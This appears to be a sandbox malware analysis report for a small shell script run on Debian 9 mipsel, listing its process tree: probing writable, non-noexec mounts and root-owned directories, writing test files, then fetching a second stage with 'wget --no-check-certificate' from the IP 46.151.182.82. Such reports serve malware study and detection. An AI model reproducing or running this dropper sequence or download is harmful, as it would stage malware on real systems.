Overview

overview

9

Static

static

1

sh

ubuntu-18.04-amd64

9

sh

debian-9-armhf

9

sh

debian-9-mips

7

sh

debian-9-mipsel

3

Analysis

  • max time kernel
    73s
  • max time network
    194s
  • platform
    debian-9_mipsel
  • resource
    debian9-mipsel-20260126-en
  • resource tags

    arch:mipselimage:debian9-mipsel-20260126-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
  • submitted
    15/04/2026, 14:30

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    sh
  • Size 2KB
  • Sample260415-rt9ypahs9n
  • SHA256 219d879522b3cfc498ab3e2597dcce3b96c41e7f4154fa0205922f1f283f71d3
  • MD5 SHA1 SHA512 TLSH
Score
3/10
discovery

Malware Config

Signatures

  • Reads runtime system information 3 IoCs

    Reads data from /proc virtual filesystem.

    discovery

Processes

  • /tmp/sh
    /tmp/sh
    1⤵
      PID:701
      • /usr/bin/awk
        awk "{print \$2}"
        2⤵
        • Reads runtime system information
        PID:712
      • /bin/grep
        grep noexec
        2⤵
          PID:711
        • /bin/cat
          cat /proc/mounts
          2⤵
          • Reads runtime system information
          PID:710
        • /usr/bin/whoami
          whoami
          2⤵
            PID:720
          • /usr/bin/find
            find / -type d -user root -perm "-u=rwx" -not -path "/tmp/*" -not -path "/proc/*" -not -path /sys -not -path "/sys/*" -not -path /proc -not -path "/proc/*" -not -path /dev/pts -not -path "/dev/pts/*" -not -path /run -not -path "/run/*" -not -path /sys/kernel/security -not -path "/sys/kernel/security/*" -not -path /run/lock -not -path "/run/lock/*" -not -path /sys/fs/cgroup -not -path "/sys/fs/cgroup/*" -not -path /sys/fs/cgroup/systemd -not -path "/sys/fs/cgroup/systemd/*" -not -path "/sys/fs/cgroup/cpu,cpuacct" -not -path "/sys/fs/cgroup/cpu,cpuacct/*" -not -path /sys/fs/cgroup/blkio -not -path "/sys/fs/cgroup/blkio/*" -not -path /sys/fs/cgroup/cpuset -not -path "/sys/fs/cgroup/cpuset/*" -not -path /sys/fs/cgroup/memory -not -path "/sys/fs/cgroup/memory/*" -not -path /sys/fs/cgroup/pids -not -path "/sys/fs/cgroup/pids/*" -not -path /sys/fs/cgroup/perf_event -not -path "/sys/fs/cgroup/perf_event/*" -not -path /sys/fs/cgroup/freezer -not -path "/sys/fs/cgroup/freezer/*" -not -path "/sys/fs/cgroup/net_cls,net_prio" -not -path "/sys/fs/cgroup/net_cls,net_prio/*" -not -path /sys/fs/cgroup/devices -not -path "/sys/fs/cgroup/devices/*"
            2⤵
            • Reads runtime system information
            PID:723
          • /bin/uname
            uname -mp
            2⤵
              PID:767
            • /usr/bin/tr
              tr -d " "
              2⤵
                PID:773
              • /usr/bin/od
                od -An -N2 -i /dev/urandom
                2⤵
                  PID:772
                • /usr/bin/expr
                  expr 60103 "%" 32 + 4
                  2⤵
                    PID:774
                  • /usr/bin/tr
                    tr -dc A-Za-z0-9
                    2⤵
                      PID:778
                    • /usr/bin/head
                      head -c 11
                      2⤵
                        PID:779
                      • /usr/bin/openssl
                        openssl rand -base64 256
                        2⤵
                          PID:777
                        • /usr/bin/touch
                          touch .testfile
                          2⤵
                            PID:782
                          • /bin/dd
                            dd "if=/dev/zero" "of=.testfile2" "bs=2M" "count=1"
                            2⤵
                              PID:784
                            • /bin/rm
                              rm -rf .testfile .testfile2
                              2⤵
                                PID:786
                              • /bin/rm
                                rm -rf clean
                                2⤵
                                  PID:787
                                • /usr/bin/wget
                                  wget --no-check-certificate -q https://46.151.182.82/clean
                                  2⤵
                                    PID:788

                                Network

                                      MITRE ATT&CK Matrix

                                      Replay Monitor

                                      Loading Replay Monitor...

                                      Downloads

                                      .testfile2
                                      • Path /.testfile2
                                      • Size 2.0MB
                                      • SHA256 5647f05ec18958947d32874eeb788fa396a05d0bab7c1b71f112ceb7e9b31eee
                                      • MD5 SHA1 SHA512 SSDEEP
                                      Submit Download